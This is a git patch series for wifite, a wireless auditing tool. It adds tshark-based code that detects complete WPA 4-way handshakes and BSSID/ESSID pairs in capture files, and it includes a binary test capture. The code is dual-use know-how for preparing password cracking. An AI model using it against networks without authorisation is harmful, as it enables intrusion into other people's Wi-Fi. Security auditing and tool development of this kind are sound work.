@@ def strip(self, outfile=None): cmd = [ 'tshark', '-r', self.capfile, # input file - '-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter - '-2', # tshark: -R without -2 is deprecated. + '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter '-w', outfile # output file ] proc = Process(cmd) @@ -357,7 +239,23 @@ def print_pairs(pairs, capfile, tool=None): if __name__ == '__main__': - hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A') + print('With BSSID & ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + + print('\nWith BSSID, but no ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + + print('\nWith ESSID, but no BSSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + + print('\nWith neither BSSID nor ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap') hs.analyze() print("has_hanshake() =", hs.has_handshake()) diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index bae07aaeb..823f294d6 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -14,6 +14,136 @@ def __init__(self): def exists(): return Process.exists('tshark') + @staticmethod + def _extract_src_dst_index_total(line): + # Extract BSSIDs, handshake # (1-4) and handshake "total" (4) + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line) + if match is None: + # Line doesn't contain src, dst, Message numbers + return None, None, None, None + (src, dst, index, total) = match.groups() + return src, dst, index, total + + @staticmethod + def _build_target_client_handshake_map(output, bssid=None): + # Map of target_ssid,client_ssid -> handshake #s + # E.g. 12:34:56,21:43:65 -> 3 + target_client_msg_nums = {} + + for line in output.split('\n'): + src, dst, index, total = Tshark._extract_src_dst_index_total(line) + + if src is None: continue # Skip + + index = int(index) + total = int(total) + + if total != 4: continue # Handshake X of 5? X of 3? Skip it. + + # Identify the client and target MAC addresses + if index % 2 == 1: + # First and Third messages + target = src + client = dst + else: + # Second and Fourth messages + client = src + target = dst + + if bssid is not None and bssid.lower() != target.lower(): + # We know the BSSID and this msg was not for the target + continue + + target_client_key = '%s,%s' % (target, client) + + # Ensure all 4 messages are: + # Between the same client and target (not different clients connecting). + # In numeric & chronological order (Message 1, then 2, then 3, then 4) + if index == 1: + target_client_msg_nums[target_client_key] = 1 # First message + + elif target_client_key not in target_client_msg_nums: + continue # Not first message. We haven't gotten the first message yet. Skip. + + elif index - 1 != target_client_msg_nums[target_client_key]: + continue # Message is not in sequence. Skip + + else: + # Happy case: Message is > 1 and is received in-order + target_client_msg_nums[target_client_key] = index + + return target_client_msg_nums + + + @staticmethod + def bssids_with_handshakes(capfile, bssid=None): + if not Tshark.exists(): + return [] + + # Returns list of BSSIDs for which we have valid handshakes in the capfile. + command = [ + 'tshark', + '-r', capfile, + '-n', # Don't resolve addresses + '-Y', 'eapol' # Filter for only handshakes + ] + tshark = Process(command, devnull=False) + + target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid) + + bssids = set() + # Check if we have all 4 messages for the handshake between the same MACs + for (target_client, num) in target_client_msg_nums.items(): + if num == 4: + # We got a handshake! + this_bssid = target_client.split(',')[0] + bssids.add(this_bssid) + + return list(bssids) + + + @staticmethod + def bssid_essid_pairs(capfile, bssid): + # Finds all BSSIDs (with corresponding ESSIDs) from cap file. + # Returns list of tuples(BSSID, ESSID) + + if not Tshark.exists(): + return [] + + ssid_pairs = set() + + command = [ + 'tshark', + '-r', capfile, # Path to cap file + # Extract beacon frames + '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05', + '-n', # Don't resolve addresses + ] + tshark = Process(command, devnull=False) + + for line in tshark.stdout().split('\n'): + # Extract src, dst, and essid + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line) + if match is None: + continue # Line doesn't contain src, dst, ssid + + (src, dst, essid) = match.groups() + + if dst.lower() == "ff:ff:ff:ff:ff:ff": + continue # Skip broadcast packets + + if bssid is not None: + # We know the BSSID, only return the ESSID for this BSSID. + if bssid.lower() == src.lower(): + ssid_pairs.add((src, essid)) # This is our BSSID, add it + else: + ssid_pairs.add((src, essid)) # We do not know BSSID, add it. + + return list(ssid_pairs) + + @staticmethod def check_for_wps_and_update_targets(capfile, targets): ''' @@ -66,6 +196,7 @@ def check_for_wps_and_update_targets(capfile, targets): test_file = './tests/files/contains_wps_network.cap' target_bssid = 'A4:2B:8C:16:6B:3A' + ''' from ..model.target import Target fields = [ 'A4:2B:8C:16:6B:3A', # BSSID @@ -84,4 +215,6 @@ def check_for_wps_and_update_targets(capfile, targets): print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) assert targets[0].wps == True + ''' + print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) From 2cd6116a8c41f1e6d9f23ff70d68559fb74fd63e Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 00:54:49 -0400 Subject: [PATCH 14/52] Move Pyrit logic to tools/pyrit.py --- tests/files/handshake_has_1234.cap | Bin 0 -> 125191 bytes wifite/model/handshake.py | 53 ++------------------------ wifite/tools/pyrit.py | 59 +++++++++++++++++++++++++++++ 3 files changed, 62 insertions(+), 50 deletions(-) create mode 100644 tests/files/handshake_has_1234.cap create mode 100644 wifite/tools/pyrit.py diff --git a/tests/files/handshake_has_1234.cap b/tests/files/handshake_has_1234.cap new file mode 100644 index 0000000000000000000000000000000000000000..b812010d193a34fc638579dc8b3d74c38d54be2c GIT binary patch literal 125191 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

LiL?`F5M@n)6@Mv|gtqAn6F<$kUHrT_% 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%0A#yg{pvcZ7V9k_EHMD+supbz;BcL4kx4hdg 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 